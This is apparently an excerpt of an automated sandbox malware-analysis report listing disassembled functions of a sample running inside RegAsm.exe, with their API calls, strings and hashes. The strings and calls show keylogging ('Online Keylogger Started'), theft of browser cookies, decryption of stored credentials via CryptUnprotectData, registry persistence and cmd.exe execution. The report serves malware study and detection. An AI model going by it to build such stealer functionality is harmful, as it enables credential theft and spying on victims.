                      • API String ID: 1634807452-3565412412
                      • Opcode ID: 9cefce376da0e5a625bd0361d63876b75821adb98292e5a76fa33c4dbf6a1e63
                      • Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
                      • Opcode Fuzzy Hash: 9cefce376da0e5a625bd0361d63876b75821adb98292e5a76fa33c4dbf6a1e63
                      • Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649
                      Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                      Download Yara Rule
                      APIs
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                      • String ID: `#D$`#D
                      • API String ID: 885266447-2450397995
                      • Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                      • Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
                      • Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                      • Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44
                      Function 00443435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 00443475
                      • _free.LIBCMT ref: 00443540
                      • _free.LIBCMT ref: 0044354A
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$FileModuleName
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      • API String ID: 2506810119-1068371695
                      • Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                      • Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
                      • Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                      • Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98
                      Function 10004BDD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 10004C1D
                      • _free.LIBCMT ref: 10004CE8
                      • _free.LIBCMT ref: 10004CF2
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$FileModuleName
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      • API String ID: 2506810119-1068371695
                      • Opcode ID: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                      • Instruction ID: 12f2da1a58c9c923660241357757b5dddff340f6d61411cdc8d35d961f62cc7a
                      • Opcode Fuzzy Hash: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                      • Instruction Fuzzy Hash: EB31A0B5A01258EFFB51CF99CC81D9EBBFCEB88390F12806AF80497215DA709E41CB54
                      Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                        • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,636B1986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                        • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                        • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                        • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                      • String ID: /sort "Visit Time" /stext "$0NG
                      • API String ID: 368326130-3219657780
                      • Opcode ID: c9918486698fa1facc7475353dff3b0eab899f83a18ffbf80fb8a8f949f99717
                      • Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
                      • Opcode Fuzzy Hash: c9918486698fa1facc7475353dff3b0eab899f83a18ffbf80fb8a8f949f99717
                      • Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99
                      Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                      Download Yara Rule
                      APIs
                      • SystemParametersInfoW.USER32 ref: 0041CAD7
                        • Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                        • Part of subcall function 0041376F: RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                        • Part of subcall function 0041376F: RegCloseKey.KERNEL32(?), ref: 004137B1
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateInfoParametersSystemValue
                      • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                      • API String ID: 4127273184-3576401099
                      • Opcode ID: 4f71dd23c4f760eabc23ec2adbc3392ecf1bb7076945bb966ce08e22b16a15c0
                      • Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
                      • Opcode Fuzzy Hash: 4f71dd23c4f760eabc23ec2adbc3392ecf1bb7076945bb966ce08e22b16a15c0
                      • Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF
                      Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                      Download Yara Rule
                      APIs
                      • _wcslen.LIBCMT ref: 004162F5
                        • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                        • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                        • Part of subcall function 00413877: RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                        • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _wcslen$CloseCreateValue
                      • String ID: !D@$okmode$PG
                      • API String ID: 3411444782-3370592832
                      • Opcode ID: 33627434b7f82304c1ded9d3bb7774abf103e710ec097a6938a3706c33e36768
                      • Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
                      • Opcode Fuzzy Hash: 33627434b7f82304c1ded9d3bb7774abf103e710ec097a6938a3706c33e36768
                      • Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D
                      Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C688
                      Strings
                      • User Data\Profile ?\Network\Cookies, xrefs: 0040C635
                      • User Data\Default\Network\Cookies, xrefs: 0040C603
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                      • API String ID: 1174141254-1980882731
                      • Opcode ID: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                      • Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
                      • Opcode Fuzzy Hash: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                      • Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698
                      Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C757
                      Strings
                      • User Data\Profile ?\Network\Cookies, xrefs: 0040C704
                      • User Data\Default\Network\Cookies, xrefs: 0040C6D2
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                      • API String ID: 1174141254-1980882731
                      • Opcode ID: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                      • Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
                      • Opcode Fuzzy Hash: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                      • Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698
                      Function 0040B164 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                      • wsprintfW.USER32 ref: 0040B1F3
                        • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,?,0040B82F,?,?,?,?,?,00000000), ref: 0040A662
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: EventLocalTimewsprintf
                      • String ID: [%04i/%02i/%02i %02i:%02i:%02i $]
                      • API String ID: 1497725170-1359877963
                      • Opcode ID: 4b61bdf1e4649f408c1e010907dbc1ed31b9c64e2b29a313bfb4962842f39c84
                      • Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
                      • Opcode Fuzzy Hash: 4b61bdf1e4649f408c1e010907dbc1ed31b9c64e2b29a313bfb4962842f39c84
                      • Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC
                      Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                        • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • CreateThread.KERNEL32(00000000,00000000,Function_0000A267,?,00000000,00000000), ref: 0040AF6E
                      • CreateThread.KERNEL32(00000000,00000000,Function_0000A289,?,00000000,00000000), ref: 0040AF7A
                      • CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateThread$LocalTime$wsprintf
                      • String ID: Online Keylogger Started
                      • API String ID: 112202259-1258561607
                      • Opcode ID: 479f868247490eb8d94e44a3ac1295fc2cb218e13a7b72eda2db3aeddef0bb4d
                      • Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
                      • Opcode Fuzzy Hash: 479f868247490eb8d94e44a3ac1295fc2cb218e13a7b72eda2db3aeddef0bb4d
                      • Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB
                      Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(crypt32), ref: 00406A82
                      • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressLibraryLoadProc
                      • String ID: CryptUnprotectData$crypt32
                      • API String ID: 2574300362-2380590389
                      • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                      • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                      • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                      • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                      Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                      • CloseHandle.KERNEL32(?), ref: 004051CA
                      • SetEvent.KERNEL32(?), ref: 004051D9
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEventHandleObjectSingleWait
                      • String ID: Connection Timeout
                      • API String ID: 2055531096-499159329
                      • Opcode ID: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                      • Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
                      • Opcode Fuzzy Hash: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                      • Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59
                      Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                      Download Yara Rule
                      APIs
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E833
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Exception@8Throw
                      • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                      • API String ID: 2005118841-1866435925
                      • Opcode ID: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                      • Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
                      • Opcode Fuzzy Hash: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                      • Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B
                      Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegCreateKeyW.ADVAPI32(80000001,00000000,004752D8), ref: 0041381F
                      • RegSetValueExW.ADVAPI32 ref: 0041384D
                      • RegCloseKey.ADVAPI32(004752D8), ref: 00413858
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateValue
                      • String ID: pth_unenc
                      • API String ID: 1818849710-4028850238
                      • Opcode ID: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                      • Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
                      • Opcode Fuzzy Hash: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                      • Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94
                      Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                      Download Yara Rule
                      APIs
                      • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
                      • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0
                        • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
                        • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E016
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                      • String ID: bad locale name
                      • API String ID: 3628047217-1405518554
                      • Opcode ID: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                      • Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
                      • Opcode Fuzzy Hash: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                      • Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C
                      Function 10004B39 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000), ref: 10004B59
                      • FreeLibrary.KERNEL32(00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082), ref: 10004B8F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeHandleLibraryModule
                      • String ID: CorExitProcess$mscoree.dll
                      • API String ID: 662261464-1276376045
                      • Opcode ID: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                      • Instruction ID: e6e2f78cdd7cd30bdf2d4d174718ae12991e9b6ae5ca6a82eaba56a43cf4d13d
                      • Opcode Fuzzy Hash: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                      • Instruction Fuzzy Hash: C8F03C71900218BBEB11AB94CC48BAEBFB9EF043D1F01416AE909A6164DF309941CAA5
                      Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                      Download Yara Rule
                      APIs
                      • CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
                      • ShowWindow.USER32(00000009), ref: 00416C61
                      • SetForegroundWindow.USER32 ref: 00416C6D
                        • Part of subcall function 0041CD9B: AllocConsole.KERNEL32 ref: 0041CDA4
                        • Part of subcall function 0041CD9B: GetConsoleWindow.KERNEL32 ref: 0041CDAA
                        • Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                        • Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Window$Console$Show$AllocCreateForegroundOutputThread
                      • String ID: !D@
                      • API String ID: 186401046-604454484
                      • Opcode ID: 9f7fe5989ead697ba6d36c86eae2c50fc2179958361be672788b949ad241deb2
                      • Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
                      • Opcode Fuzzy Hash: 9f7fe5989ead697ba6d36c86eae2c50fc2179958361be672788b949ad241deb2
                      • Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D
                      Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                      Download Yara Rule
                      APIs
                      • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExecuteShell
                      • String ID: /C $cmd.exe$open
                      • API String ID: 587946157-3896048727
                      • Opcode ID: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                      • Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
                      • Opcode Fuzzy Hash: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                      • Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659
                      Function 0040B8AC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                      Download Yara Rule
                      APIs
                      • TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                      • UnhookWindowsHookEx.USER32 ref: 0040B8C7
                      • TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 0040B8D5
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: TerminateThread$HookUnhookWindows
                      • String ID: pth_unenc
                      • API String ID: 3123878439-4028850238
                      • Opcode ID: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                      • Instruction ID: 1c21f009177841ea8acfe7f5b61a435624369701cc7e40c150536a334dec3301
                      • Opcode Fuzzy Hash: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
